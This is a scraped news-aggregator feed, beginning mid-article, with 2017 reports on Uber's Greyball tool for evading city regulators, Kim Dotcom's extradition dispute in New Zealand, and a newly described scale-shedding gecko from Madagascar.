Once the Greyball tool was put in place and tested, Uber engineers created a playbook with a list of tactics, which included looking up city officials on social media and obtaining phone numbers of cheap phones that Uber calculated enforcement officials were likely to buy, the Times said. Local officials on Friday expressed concern about Uber’s practices but stopped short of saying they would take action.

“We take any effort to undermine our efforts to protect the public very seriously,” Dylan Rivera, a spokesman for the Portland, Oregon transportation bureau, said in a statement. “We will closely examine the evidence presented in this investigation to see if it warrants changes in our approach to consumer protection.”

Boston police Lieutenant Mike McCarthy said his department would also review the allegations and Philadelphia Parking Authority spokesman Martin O’Rourke said his agency was aware of Uber’s attempts to evade local inspectors and the activity was covered by a settlement agreement that the authority and the company signed last year, in which Uber paid a $ 350,000 fine.

Greyball, which began as early as 2014, was part of a program called “Violation of terms of service” (VTOS), aimed at finding people the ride-hailing company thought were using the app improperly, the New York Times reported.

Two high-level departures on Friday added to Uber’s woes. Ed Baker, Uber’s vice president of product and growth, is leaving the company after nearly four years, an Uber spokeswoman said, declining to provide a reason.

Also announcing his departure Friday was the best-known security researcher at Uber. Charlie Miller, who won fame beyond the security industry for hacking into a Jeep as it was driving, said on Twitter that he was leaving after a year and a half of working on security for autonomous driving. He said he would announce where he was headed next week.

(Reporting by Laharee Chatterjee in Bengaluru, Joseph Menn, David Ingram and Heather Somerville in San Francisco; Editing by Anil D’Silva, Peter Henderson and Bill Rigby)

VentureBeat

]]> https://briefnews.eu/uber-used-secret-tool-to-evade-authorities/feed/ 0 Uber’s “Greyball” tool helped company evade authorities in Portland, Paris https://briefnews.eu/ubers-greyball-tool-helped-company-evade-authorities-in-portland-paris/ https://briefnews.eu/ubers-greyball-tool-helped-company-evade-authorities-in-portland-paris/#respond Sat, 04 Mar 2017 04:36:40 +0000 http://briefnews.eu/ubers-greyball-tool-helped-company-evade-authorities-in-portland-paris/

Enlarge (credit: Oli Scarff/Getty Images)

Uber has been using a tool called “Greyball” to identify authorities in markets where the ride-hailing service is curtailed or outright banned by regional rules. If the authorities try to hail a ride through Uber’s app, the company will show ghost cars, which aren’t really in the area, or show no cars in the area at all.

According to the New York Times’ Mike Isaac, who spoke to current and former Uber employees, Greyball tries to identify authorities through a number of vectors. Geofencing certain municipal offices and watching who frequently opens and closes the Uber app is an option. Or Uber can check if a credit card used to sign up for its service is linked to a police credit union.

In other cases, Uber has gone to greater lengths to identify potentially hostile enforcement officers from finding Uber rides. To prevent authorities from buying stacks of cheap phones and signing up for service through those, the New York Times writes, Uber employees “went to that city’s local electronics stores to look up device numbers of the cheapest mobile phones on sale, which were often the ones bought by city officials, whose budgets were not sizable.” If Uber was not able to determine whether a potential rider was a threat or not, the company would gather data from publicly available social media or seek out other information online.

Read 6 remaining paragraphs | Comments

Ars Technica

]]> https://briefnews.eu/ubers-greyball-tool-helped-company-evade-authorities-in-portland-paris/feed/ 0 Kim Dotcom vows to evade remaining extradition charges due to ‘prosecution blunder’ https://briefnews.eu/kim-dotcom-vows-to-evade-remaining-extradition-charges-due-to-prosecution-blunder/ https://briefnews.eu/kim-dotcom-vows-to-evade-remaining-extradition-charges-due-to-prosecution-blunder/#respond Wed, 22 Feb 2017 12:59:39 +0000 http://briefnews.eu/kim-dotcom-vows-to-evade-remaining-extradition-charges-due-to-prosecution-blunder/ Following a New Zealand judge’s ruling that Kim Dotcom broke no copyright laws with his Megaupload business, the internet mogul now says he has a slam-dunk strategy to get the rest of the charges against him thrown out, owing to a critical error by the prosecution.

Several days ago the New Zealand High Court ruled that Dotcom and three co-defendants are not at fault for copyright infringement because “online communication of copyright protected works to the public is not a criminal offense in New Zealand under s131 of the Copyright Act.”

However, he still faces extradition to the United States on a series of accompanying charges the Americans are trying to pin on the group.

Dotcom now says though that since all the accompanying charges stem from a falsely-issued 2011 arrest warrant to begin with, they don’t stand up legally.

“This is a major development in this case,” he is cited by the New Zealand Herald as saying. “This is the biggest focus now moving forward.”

While clearing them of the original charges, the judgment also held that Dotcom and his partners engaged in fraud and money laundering. However, this was done on the back of the Megaupload infringement charge.

According to Dotcom, the whole thing is coming undone for precisely that reason. He is accusing the court of switching from a language geared toward “copyright violation” to one targeting purported fraud.

“They knew for years they had ****** up. I think New Zealanders deserve to know that was part of the case,” he said. “The entire raid was for civil copyright infringement and that is in their own documents. I was in jail for a month for a civil copyright claim, that is what the arrest warrant said. This thing will go all the way to the Supreme Court itself.”

Read more

German tech entrepreneur Kim Dotcom arrives for a court hearing in Auckland, New Zealand © Nigel Marple / Reuters

The “massive mistake,” he said, will get the entire case against him and his partners thrown out.

Money-laundering and other charges, he added, were “never a stand-alone charge.”

“It is always connected to the underlying crime. Obviously [there is] no money-laundering without criminal copyright infringement.”

Dotcom added that his legal team were “working full steam to get a judicial review on all these actions that were taken against me, my family and my co-defendants.

“The raid, the search and the arrests were all based on the Copyright Act and what the judge has now done is give us a really powerful tool to attack again where it started.

“If I win on this, the whole thing falls over. And we can now not lose on that.”

The Herald asked for comment from Attorney-General Chris Finlayson, who did not confirm if he had been briefed on the matter, or whether the Dotcom case was being examined at higher levels of the system.

“Crown Law is acting for the attorney-general in accordance with the Cabinet Manual and constitutional practice. As this matter could still be subject to an appeal, it is not appropriate for the attorney-general to comment further,” he said.

Crown Law Office also declined to comment, due to the matter still being debated by the courts.

One comment that appears to side with Dotcom’s argument comes from Len Andersen, the president of the Criminal Bar Association. Andersen admitted that there appeared to be some “inconsistency” with the initial charges, which could yet open the case up for a judicial review.

Andersen added that the judge may have made the mistake of proceeding with the other charges, as the initial information would have been supplied by police or the crown, and “this wouldn’t have been an issue that was obvious to the judge.”

This potential mishap for the Kiwi courts (and the Americans) comes on the heels of a series of blunders already making Dotcom look good – which included using the wrong restraining order for the seizure of the internet mogul’s assets, as well the methods employed by the police in obtaining it, using the NSA’s spy tools.

The US has, since 2012, been seeking the extradition of the four men to face trial on 13 counts. They are being accused in the US of a number of crimes including copyright infringement, money laundering, and wire fraud.

The latest appeal by Dotcom’s legal team dates back to December 2015, when the North Shore District Court ruled that he and his partners were eligible for extradition – a decision Dotcom always contended was “politically charged.”

Let’s block ads! (Why?)

RT – Daily news

]]> https://briefnews.eu/kim-dotcom-vows-to-evade-remaining-extradition-charges-due-to-prosecution-blunder/feed/ 0 Skinchangers: Newly discovered gecko species sheds skin to evade predators https://briefnews.eu/skinchangers-newly-discovered-gecko-species-sheds-skin-to-evade-predators/ https://briefnews.eu/skinchangers-newly-discovered-gecko-species-sheds-skin-to-evade-predators/#respond Thu, 09 Feb 2017 05:40:42 +0000 http://briefnews.eu/skinchangers-newly-discovered-gecko-species-sheds-skin-to-evade-predators/

A new species of gecko that has been discovered in Madagascar can shed its skin on demand to disguise itself from predators. The author of the newly-published study on the freakish lizards says it’s nearly impossible to catch one with its skin intact.

The new Gecko has unusually large and thick scales, so much so that its Latin name, Geckolepis megalepis, literally means ‘very large scales.’ Geckolepis megalepis is one of several of so-called ‘fish-scale geckos’ in the genus Geckolepis.

The genus is notable for wearing loosely attached scales that tear away to help them evade predators. G. megalepis is the first species in the genus to have been discovered in 75 years.

G. megalepis is unusual for the apparent ease with which it sheds its skin. “I personally have only ever once managed to catch one of these geckos without losing more than a few scales,” study author Mark Scherz said to National Geographic.

“I was elated! You can look at any museum with these geckos and you see how seldom the [skin] stays intact. It’s almost ridiculous.”

The plate-like scales fall off at the base of the skin and regenerate in a matter of weeks. The lizard does not use the scales for protection, but instead uses them as an effective means of diversion when predators get too close for comfort.

READ MORE: ‘We need to milk spiders’: Zoo asks public to capture deadly arachnids (VIDEO)

“You would think they are somehow protective, but really they are a decoy there for blocking the teeth or claws of whatever wants to eat them… They get stuck in those jaws or claws and allow the gecko to escape naked and alive,” Scherz told the New York Times.

Scherz speculates that after losing their skin, the geckos stay in a sheltered place until they have time to regenerate. “It looks like a fish until you grab it, and then it looks like a naked chicken breast,” he explained.

Researchers actually collected the first specimens of G. megalepis in 2004, but they were mistakenly identified as a similar looking species, G. maculata.

The study was published this week in the journal PeerJ.

Let’s block ads! (Why?)

RT – Daily news

]]> https://briefnews.eu/skinchangers-newly-discovered-gecko-species-sheds-skin-to-evade-predators/feed/ 0